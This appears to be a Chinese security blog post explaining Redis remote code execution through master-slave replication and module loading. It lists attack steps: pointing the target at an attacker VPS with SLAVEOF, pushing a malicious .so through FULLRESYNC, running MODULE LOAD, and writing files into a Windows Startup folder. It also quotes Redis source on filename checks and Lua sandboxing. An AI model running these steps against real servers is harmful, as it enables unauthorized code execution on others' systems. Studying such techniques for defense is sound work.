Redis Rce

 

正文

Nice的Rce: 议题PPT

总结起来就是, 利用了主从特性传输了数据,然后通过模块加载,增加了执行命令的函数,从而rce。

这里有两点特别好用
1、可以无脏数据保存文件
2、模块加载,所以兼容性高

回顾之前的redis利用,通常分为写webshell、root权限写crontab或者ssh文件,但是以上就完美的解决以下问题:

1、后面高版本的redis启动默认是redis权限,并非root权限
2、写crontab反弹shell也仅仅局限于centos中。

环境:

docker pull redis:4.0
docker run --name redis-6379 -p 6379:6379 -d redis:4.0
info replication

也可以看到在sync的时候,会被数据存到rdb_filename中,也就是config set dbfilename value的值。

已经朋友给出了Exp
整个流程就是

  • 在目标上执行, 将自己vps设置为master: SLAVEOF vps port
  • 在目标上执行,设置一下dbfilename
  • 通过同步,将模块文件写到目标的磁盘上: FULLRESYNC <Z*40> 1\r\n$<len>\r\n<pld>
  • 在目标上执行,加载模块: MODULE LOAD /tmp/exp.so

坑点

1、原理上应该是不需要执行SAVE命令,测试过程中发现不执行貌似就触发不了写文件。

2、注意一下模块的兼容性,类似mysql udf一样,需要特定版本。
需要自己特定去编译so文件: https://github.com/RicterZ/RedisModules-ExecuteCommand

3、redis官网是没有windows版本的,都是大家改出来的,比如
windows redis下载:
https://github.com/dmajkic/redis/downloads
https://github.com/microsoftarchive/redis/releases

目前看到的redis版本大部分是没有模块加载的功能,但是还是可以利用主从模式传输文件,比如写一个干净文件到启动项,或者进行dll劫持。当然这里需要先设置一下dir。

CONFIG SET dir 'C:\\Users\\lemon\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'

不能从config set dbfilename xxx去跨目录,因为官方设定它就只是一个文件名。

} else if (!strcasecmp(argv[0],"dbfilename") && argc == 2) {
            if (!pathIsBaseName(argv[1])) {
                err = "dbfilename can't be a path, just a filename";
                goto loaderr;
            }
            zfree(server.rdb_filename);
            server.rdb_filename = zstrdup(argv[1]);

其中pathIsBaseName是不允许你去跨目录的。

int pathIsBaseName(char *path) {
    return strchr(path,'/') == NULL && strchr(path,'\\') == NULL;
}

4、5.0之后(暂未测试,但是目前的exp来看是不存在此问题,先做笔记)
不能使用config get、set去设置dbfilename,但是同步后的名字是有规律的: temp-<time>.<pid>.rdb

redis eval笔记

redis还可以通过eval去执行lua脚本,但是会存在一定限制。

/redis-unstable/src/scripting.c

void scriptingEnableGlobalsProtection(lua_State *lua) {
    char *s[32];
    sds code = sdsempty();
    int j = 0;

    /* strict.lua from: http://metalua.luaforge.net/src/lib/strict.lua.html.
     * Modified to be adapted to Redis. */
    s[j++]="local dbg=debug\n";
    s[j++]="local mt = {}\n";
    s[j++]="setmetatable(_G, mt)\n";
    s[j++]="mt.__newindex = function (t, n, v)\n";
    s[j++]="  if dbg.getinfo(2) then\n";
    s[j++]="    local w = dbg.getinfo(2, \"S\").what\n";
    s[j++]="    if w ~= \"main\" and w ~= \"C\" then\n";
    s[j++]="      error(\"Script attempted to create global variable '\"..tostring(n)..\"'\", 2)\n";
    s[j++]="    end\n";
    s[j++]="  end\n";
    s[j++]="  rawset(t, n, v)\n";
    s[j++]="end\n";
    s[j++]="mt.__index = function (t, n)\n";
    s[j++]="  if dbg.getinfo(2) and dbg.getinfo(2, \"S\").what ~= \"C\" then\n";
    s[j++]="    error(\"Script attempted to access nonexistent global variable '\"..tostring(n)..\"'\", 2)\n";
    s[j++]="  end\n";
    s[j++]="  return rawget(t, n)\n";
    s[j++]="end\n";
    s[j++]="debug = nil\n";
    s[j++]=NULL;

    for (j = 0; s[j] != NULL; j++) code = sdscatlen(code,s[j],strlen(s[j]));
    luaL_loadbuffer(lua,code,sdslen(code),"@enable_strict_lua");
    lua_pcall(lua,0,0,0);
    sdsfree(code);
}

参考文章

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

https://github.com/microsoftarchive/redis/releases

posted @   l3m0n  阅读(1791)  评论(2)    收藏  举报
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
点击右上角即可分享
微信分享提示